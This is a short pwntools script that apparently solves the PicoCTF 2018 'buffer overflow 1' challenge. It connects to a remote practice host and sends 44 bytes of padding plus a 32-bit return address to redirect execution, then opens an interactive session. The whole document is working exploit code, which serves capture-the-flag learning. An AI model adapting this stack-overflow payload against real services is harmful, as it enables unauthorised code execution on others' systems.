picoctf_2018_buffer overflow 1

from pwn import*
context.log_level = 'debug'
io = remote("node4.buuoj.cn",28874)
#io = process('./PicoCTF_2018_buffer_overflow_1')
#elf = ELF('./memory')
addr = 0x080485CB
payload = b'a'*(0x28+4)+p32(addr)
io.send(payload)
io.interactive()